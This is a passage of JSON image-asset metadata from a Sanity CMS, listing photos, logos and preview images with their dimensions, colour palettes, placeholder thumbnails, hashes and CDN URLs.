"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#462c2f","foreground":"#fff","population":3.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#60210b","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#945c57","foreground":"#fff","population":8.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caa499","foreground":"#000","population":4.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4b0a2","foreground":"#000","population":2.87,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#945c57","foreground":"#fff","population":8.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c0414e","foreground":"#fff","population":0.29,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Me_2019-09-25_Cropped.jpg","path":"images/sczeoy4w/production/e1e475a1fe5f7311a68da7df2b0865e2d88cb60b-947x947.jpg","sha1hash":"e1e475a1fe5f7311a68da7df2b0865e2d88cb60b","size":118467,"uploadId":"Oa6rI4XXt4RBSa6EJfVvTwjJT1FP91aN","url":"https://cdn.sanity.io/images/sczeoy4w/production/e1e475a1fe5f7311a68da7df2b0865e2d88cb60b-947x947.jpg"} {"_createdAt":"2024-03-04T12:50:32Z","_id":"image-e1eb661f25c5d1818b6a25e3b4b4c584b7e25a97-1960x2022-jpg","_rev":"l09zfllA91kWryrBqaZNPe","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T12:50:32Z","assetId":"e1eb661f25c5d1818b6a25e3b4b4c584b7e25a97","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOHw+mvr01Eet7D6t8%cNt$+Meo$%JIUnm%jRPIS%JNLD;xGSc%Ibb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9693372898120672,"height":2022,"width":1960},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAVABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAYHBP/EACMQAAICAgEEAgMAAAAAAAAAAAECAwQABREGByExElEUQYH/xAAXAQEBAQEAAAAAAAAAAAAAAAAFAwEE/8QAJREAAQMCBAcBAAAAAAAAAAAAAQACAwURBBJBURMhIjE0YZGh/9oADAMBAAIRAxEAPwCe1Ov/ADZUUyBElTkPkJ3P19ihfhgtKAV9Op5DL95ovRlCbfijRgJUvH8SwPHAH7zVdx0F05e1MWrv11lnWIok7HlgfvnFJ8ROwmPN0HuPe6TmxVoQw6rDtPp+38GtrrdnkmsMgZ2BPsj1jJre1Do9pPrJ3CvVYx+U9gHwcZxCkA8zO76hzUnA2ELf1an2eZorVF0PB4YfzOzddabK51JLQg+NZY2IDr5PjGMpU/Jy6JaRosDbQKE2G0XbXJLN+pDLY5KNIfbceOcYxkCSDYLeG3Zf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a4c58","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#103378","foreground":"#fff","population":5.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a921dd","foreground":"#fff","population":5.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8bbca","foreground":"#000","population":0.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb98f","foreground":"#000","population":1.68,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#955d9c","foreground":"#fff","population":3.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a921dd","foreground":"#fff","population":5.41,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ProfilePic - Tim Mamo.jpg","path":"images/sczeoy4w/production/e1eb661f25c5d1818b6a25e3b4b4c584b7e25a97-1960x2022.jpg","sha1hash":"e1eb661f25c5d1818b6a25e3b4b4c584b7e25a97","size":598062,"uploadId":"ANFkKvBTu6QQZaVHA8RE97Q2AMpvgOL7","url":"https://cdn.sanity.io/images/sczeoy4w/production/e1eb661f25c5d1818b6a25e3b4b4c584b7e25a97-1960x2022.jpg"} {"_createdAt":"2022-09-02T15:12:48Z","_id":"image-e20c08c72ccf650f70ed7fccf849b3041892defa-800x800-jpg","_rev":"0gThdvMbf71ZLkDCR4WHL0","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T15:12:48Z","assetId":"e20c08c72ccf650f70ed7fccf849b3041892defa","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eRJQ[?^+L1r;={~pV@NeNGNG5RR*=do}NaK6NHIoxan%pJNHW:M|nO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUGBwQI/8QAJRAAAQMDAgcBAQAAAAAAAAAAAQIDBAAFEQYSBxMUISIxYVFx/8QAFwEAAwEAAAAAAAAAAAAAAAAAAwQFAv/EAB8RAAICAQQDAAAAAAAAAAAAAAECAAMEERIhIzFRkf/aAAwDAQACEQMRAD8A02XbjHbAL7fNUcJA7jP2q3c5s22LUJiWiPaVJPv5XPf9aWfS8tDV3kqbdxuCNpJIqF11qiAvTMS7Mll+IfMI3gKX8x+0C1bdVIPmN49dLowYaEfZc4zofjtupGAtIVSswtPGSwrhI6tp2K4nx5YGQB/aU9taTCPUkeNVlhTrMZr7ZMhk+Cga884KwWlKWW0qOE57ClKLjjrE3cSWm38I9HWG8aSEq429p9/qFp3q94GMUpSpdzsLDzKdSLsHE//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#73453b","foreground":"#fff","population":2.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a0f2b","foreground":"#fff","population":23.73,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0a0f2b","foreground":"#fff","population":23.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5becf","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eebba8","foreground":"#000","population":21.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b7168","foreground":"#fff","population":4.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#468a96","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"floor-drees.jpg","path":"images/sczeoy4w/production/e20c08c72ccf650f70ed7fccf849b3041892defa-800x800.jpg","sha1hash":"e20c08c72ccf650f70ed7fccf849b3041892defa","size":126237,"uploadId":"kPnvuYDXyOZw6sqJHQr0EWoNzbUUByXK","url":"https://cdn.sanity.io/images/sczeoy4w/production/e20c08c72ccf650f70ed7fccf849b3041892defa-800x800.jpg"} {"_createdAt":"2023-02-16T09:56:57Z","_id":"image-e22a7ff3d696ae82dea2c7ff68d22c225c2f992b-2500x1312-jpg","_rev":"q6IvLca7BfVqZtRwcnnTYz","_type":"sanity.imageAsset","_updatedAt":"2023-02-16T09:56:57Z","assetId":"e22a7ff3d696ae82dea2c7ff68d22c225c2f992b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9054878048780488,"height":1312,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABAAF/8QAIBAAAgICAgIDAAAAAAAAAAAAAQIAAwQRBRITYSIxQf/EABcBAAMBAAAAAAAAAAAAAAAAAAIFBgf/xAAcEQEAAgIDAQAAAAAAAAAAAAABAAIDEQQFIRL/2gAMAwEAAhEDEQA/ANSizHrpUNioWC62y/ZhuTza+P4sW1qa77rdEIoICa/IhiSigk6l1VlAYAj2JDHY3pkGxsmr5a/dX2HwPFfhUWNW3dl+RJ1syjEACgAAD1KLMvPu3UNewqqAbn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#90082a","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a80a32","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3cac2","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4440","foreground":"#fff","population":5.92,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#acb4ac","foreground":"#000","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.98,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Priceline_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/e22a7ff3d696ae82dea2c7ff68d22c225c2f992b-2500x1312.jpg","sha1hash":"e22a7ff3d696ae82dea2c7ff68d22c225c2f992b","size":99819,"uploadId":"6pn0N1jFCOqopIcvzgPRd8EDrJ1obEXK","url":"https://cdn.sanity.io/images/sczeoy4w/production/e22a7ff3d696ae82dea2c7ff68d22c225c2f992b-2500x1312.jpg"} {"_createdAt":"2022-06-15T20:02:08Z","_id":"image-e22ce2d5de21e626c59280b4490105745e0f022d-1567x844-png","_rev":"z4aw9LO53fWpwEzdXNEQF3","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:11Z","assetId":"e22ce2d5de21e626c59280b4490105745e0f022d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMQIrmyZtTV==}7#r@rpR*x^-=r.NLRiM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADIklEQVQokR3FW2/aZhgAYP/A3e1yUqVp6sVUaau0VdOWNqq6KnNCVGVds2lV25CipMlKk0aBnKGFHIAC5mCwHRNsA8Z24MMfx4ANvO/UXjx6GFlu/ySKZEUUyZYktfyC0PSLIvErSt9fr0/8pgl+y8Qvi4LlPzo685+exreUcjVQ5uuB1Ia0FX4U2z1fzr1V8t1HTKFw/YrjKnIqrdmplNqMx0skmVSJLFNiGFNiWfiFaU1INntFXr9+Q7zeVRKJnNqf9tP22UKSJBeKVNwzNV1xtpmS0H53WWjZUoGgxBMUcg3kMwbyeQNl2UZdd9HSAY2rESajPC49+RPvP7iPPp8PT/4LYWyJQ2ndQr3odEwTwkw5RrfVdJdoXA+r3GBa/kQhEsiA98UmrK+/h1SqDDo/hNquDdmNPKy9XAOPxwMrK6/gaPcYsofCtJKmaNYm1LLghCl/tHe1i26rEu+hnrgBKWzh6tNN/OHOXZyZmcVgIIpKnKLqa2BxtYTpjxkMfwjj3v4+Hh4cYSIUBSVygdfJZLclXsSZGj8M1gXHrosOmtIYyhmK22+Oce7xIi4/fYHRkyxqhR7q8T5qUQPLuSvMZTIYDgZx7+VzTPz1B9Se/YbdjZn+MPogz5h1CFp1sK064HUdwKy6IGYNiJ3kgfsggcpZ0JBaYAsVsOMJMMIHUHi7BtH5WYj9+i1ov9+C7r8/4mjH03XOvDGmqY8DRHdbpOagXRtNaXUEVBlAq0jBzhHocFUYnEZg5H8Gzj8/Q+/JHTDZ70F5eBv0xXtAfcvTfvAQ+yG+3QupEaYnkWC7eE1bxQZ2Lm28uerg8DPJxmGhgU6Kw/HOPE6Xvsbp3Ffo/v0d3qzPYefdJrYDMewcl7AbMrB33Oj2go0zZsQpz9uJUqaRVCpt3lRGl7bqlqjqyFR1JUsdc4fa5OCuNt28pU52Hqvj8/fqiMupg2RN7ceb6iBGlJsY0YbnJD+MNDcYh9e/GeRqs528sdAXmqwjU9aVKeuUOqx7qc+PubXFycUvnnHKO++KAuuWCOvIHdYRKesINuuIn9F5R6QPHYHe/h/rPtp5bK9pkwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#512b55","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#26080c","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdbeb","foreground":"#000","population":6.62,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab4c9","foreground":"#000","population":3.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdbeb","foreground":"#000","population":6.62,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8878","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eca427","foreground":"#000","population":5.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e22ce2d5de21e626c59280b4490105745e0f022d-1567x844.png","path":"images/sczeoy4w/production/e22ce2d5de21e626c59280b4490105745e0f022d-1567x844.png","sha1hash":"e22ce2d5de21e626c59280b4490105745e0f022d","size":379766,"uploadId":"nAwTGKsna5Cq9QqFMdc6NzMvFTAyhZVR","url":"https://cdn.sanity.io/images/sczeoy4w/production/e22ce2d5de21e626c59280b4490105745e0f022d-1567x844.png"} {"_createdAt":"2023-05-25T12:25:03Z","_id":"image-e23b357f7cbbd814b7f713597e719ae9d2ae6f17-1324x765-png","_rev":"3YxqQWUIXkU9Q9rCEbqZEU","_type":"sanity.imageAsset","_updatedAt":"2023-05-25T12:25:03Z","assetId":"e23b357f7cbbd814b7f713597e719ae9d2ae6f17","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4S?DV4.t7~q%M_4WCt7RPM{V[V[oMt7WV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.730718954248366,"height":765,"width":1324},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA8klEQVQokYWQS3LEMAhEff+bzsSWLSQ+AqSkkCqziSt+KxZ0Q/dGRIhYA6wVS4nJzHrvzEITMxtjfP9hY+a1ES5hFIOqurtIk4mq9t5vxKpKxKXUuBkvICK1CRHxRERuj2/uDgCv19f7vR9H2vcjpXOpAKCUunKp6o14ZcsZco5lgHhAVc1sntfWGjPfi8cY7k4siBEYkVuLhJ/V3vuq4CbzGENdMwFQiXDSzHxM1sZyvy9sjCEuOx+Zs2hbD5u5e1g8i5u1q14nnFCg/IKIq+EHsZkBlONIKaVzcl251rpKehC7OyKtwnPOpVaR9hH8I/4BNDOEnTmWeX8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c7444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#206320","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6a9f6c","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#84c48c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aae2ab","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a9f6c","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cd47c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"status.png","path":"images/sczeoy4w/production/e23b357f7cbbd814b7f713597e719ae9d2ae6f17-1324x765.png","sha1hash":"e23b357f7cbbd814b7f713597e719ae9d2ae6f17","size":91243,"uploadId":"3ESRJHg2Wy1VIeB05x6cNIKleFR3nqZD","url":"https://cdn.sanity.io/images/sczeoy4w/production/e23b357f7cbbd814b7f713597e719ae9d2ae6f17-1324x765.png"} {"_createdAt":"2023-07-26T10:13:42Z","_id":"image-e262fbeaaa50fe4fe9ca3153a04df5f675759b8f-430x408-jpg","_rev":"yVtK81NbbqTTUsUfKhjVfn","_type":"sanity.imageAsset","_updatedAt":"2023-07-26T10:13:42Z","assetId":"e262fbeaaa50fe4fe9ca3153a04df5f675759b8f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ekOWW*4n?^_3$*_3t7tRtRaeIot7MxM{R+.8oej[kCWBt7t7RjV@bH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.053921568627451,"height":408,"width":430},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAATABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcGAgj/xAAlEAABAwMDBAMBAAAAAAAAAAABAAIDBAURBiFBBxITMQgUInH/xAAXAQEBAQEAAAAAAAAAAAAAAAADBAAB/8QAGBEBAQADAAAAAAAAAAAAAAAAAAECERP/2gAMAwEAAhEDEQA/AKZ111tVad+hb7dUeCWoOXuA3xxhaDpZfqi6W7x1krpJY9iXDfKk3yD1BZbtXWp1sqWzVUTu17gNgP6qF0lulL4JjPMwuw39g7ZI9ILvpFeMx43aqIuI5o5GBzJGuafRBROkeJ6+GN90EbmAsew9wPK3um5HwacjjhcWMHds3blERwlbPT1dUm1xZnfzyiIs4//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#513831","foreground":"#fff","population":3.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#442414","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a37262","foreground":"#fff","population":3.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6b8b7","foreground":"#000","population":1.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edb8a9","foreground":"#000","population":0.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a37262","foreground":"#fff","population":3.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c47464","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bob-krygowski.jpg","path":"images/sczeoy4w/production/e262fbeaaa50fe4fe9ca3153a04df5f675759b8f-430x408.jpg","sha1hash":"e262fbeaaa50fe4fe9ca3153a04df5f675759b8f","size":19577,"uploadId":"PEb6JEAvYQoNrV93A3RWyYbIKlRuVGG4","url":"https://cdn.sanity.io/images/sczeoy4w/production/e262fbeaaa50fe4fe9ca3153a04df5f675759b8f-430x408.jpg"} {"_createdAt":"2023-10-30T12:02:45Z","_id":"image-e270ec43256a32c29630d72270d591ebdbbfff18-210x37-svg","_rev":"NgTOJkLjRz9tfm3YdZqH8M","_type":"sanity.imageAsset","_updatedAt":"2023-10-30T12:02:45Z","assetId":"e270ec43256a32c29630d72270d591ebdbbfff18","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4m4ptJiti]cIiZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.675675675675675,"height":37,"width":210},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA2klEQVQImWPQ1DWaoqlrNE1T16heU9coC0p3QsWaNXWNfDX1TLK0dAzmqzuEFMv2PcqSnvt3gvTcv1PkW85PUHNPnKqpazRRU894saae8XUGTV2jxZq6Rh0gQ7QgNMgCEAbx2zV1jWo09UwmaekYrFN3DJsu33S6Q3rO73LpuX8L5LpudakGFEzV1DNepqlrtEtTz/gKyMBFmrpGczV1jZZAXTUZimdr6hotBYvrGW/U0jHYpWHju0GhdMtcmVk/uqXn/mmX67rVq+qX16WpazRPU894g6ae8WEAozVQwwVc+1wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#28485c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042468","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c9aee","foreground":"#fff","population":0.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0b558d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c9aee","foreground":"#fff","population":0.9,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#48708e","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#049bfb","foreground":"#fff","population":0.4,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-gigaom-dark.svg","path":"images/sczeoy4w/production/e270ec43256a32c29630d72270d591ebdbbfff18-210x37.svg","sha1hash":"e270ec43256a32c29630d72270d591ebdbbfff18","size":1262,"uploadId":"zbATjp6jsBBvK4hznjWhJFSyQZsR6iCv","url":"https://cdn.sanity.io/images/sczeoy4w/production/e270ec43256a32c29630d72270d591ebdbbfff18-210x37.svg"} {"_createdAt":"2023-10-05T14:03:29Z","_id":"image-e2c6dc9e69ec2ff87dd47d5b43da2454b9d0ca64-1200x630-jpg","_rev":"UviFzP5GFpfXiVTG9qnPVu","_type":"sanity.imageAsset","_updatedAt":"2023-10-05T14:03:29Z","assetId":"e2c6dc9e69ec2ff87dd47d5b43da2454b9d0ca64","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBCf_0^EJ|nEo74=rj0Fzs61h^IwOFgwZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBAf/xAAhEAACAgICAQUAAAAAAAAAAAABAgMEAAURMXEGEhMhQf/EABcBAAMBAAAAAAAAAAAAAAAAAAMEBQb/xAAeEQABBAIDAQAAAAAAAAAAAAABAAIDEhETIzFBYf/aAAwDAQACEQMRAD8A4drbPySQwpTru5PtBI785V1NLsZGKDXVQxYJ4JyPikZK8RU8EHkED7xvW2l4MSLUvJIPPP7mlIldHwkB2fekGLUH8oJHxNrXpzY1Z2hmiUOvYBwzHY2VyWVnksyMx7JOGUotlBcjPuEu+ljXpf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4478","foreground":"#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042984","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d26838","foreground":"#fff","population":10.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9abd0","foreground":"#000","population":0.75,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5662c9","foreground":"#fff","population":4.71,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#495ca2","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d26838","foreground":"#fff","population":10.88,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Xpert_services_page_meta_preview_1200x630.jpg","path":"images/sczeoy4w/production/e2c6dc9e69ec2ff87dd47d5b43da2454b9d0ca64-1200x630.jpg","sha1hash":"e2c6dc9e69ec2ff87dd47d5b43da2454b9d0ca64","size":97436,"uploadId":"Z7j9NQQkf1Mk3kpXsV6ZWkSqcxC9eSx8","url":"https://cdn.sanity.io/images/sczeoy4w/production/e2c6dc9e69ec2ff87dd47d5b43da2454b9d0ca64-1200x630.jpg"} {"_createdAt":"2022-10-25T13:55:46Z","_id":"image-e2c815b4a8a2eda5592132e8c4e444d734d6d598-1015x179-png","_rev":"5bUXdgV32oM3gpmcHXrZbw","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T13:55:46Z","assetId":"e2c815b4a8a2eda5592132e8c4e444d734d6d598","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"49QmI;~7EU-mt8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.670391061452514,"height":179,"width":1015},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAo0lEQVQImSXOMQ7CIBQA0N5/8RYuupm4GbfW1qRDW9DIRygNlE/ho4O6mug7wStSSpzzC+fxBwCUUkS0hAAA4zjmnGfn+r6XAC7m8rZsTvowzD6/C+990zRNXVtrnXNd1zHGvPfGmLZtGWOIqJSqqmoY+rsNu9au9td1OerwKohISgkAMcaUktbaGENEiCiE+C8CogCYpgnTs4a0PdsjX/Dx+QLsz5xrNbM/kgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#646261","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24445f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c709c","foreground":"#fff","population":5.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5b5c2","foreground":"#000","population":1.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7f4fa","foreground":"#000","population":0.44,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8196a8","foreground":"#fff","population":2.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c709c","foreground":"#fff","population":5.79,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e2c815b4a8a2eda5592132e8c4e444d734d6d598-1015x179.png","path":"images/sczeoy4w/production/e2c815b4a8a2eda5592132e8c4e444d734d6d598-1015x179.png","sha1hash":"e2c815b4a8a2eda5592132e8c4e444d734d6d598","size":8753,"uploadId":"CcFbK9KAV2rbsqjVvIVLBw6IJ7w6vMpp","url":"https://cdn.sanity.io/images/sczeoy4w/production/e2c815b4a8a2eda5592132e8c4e444d734d6d598-1015x179.png"} 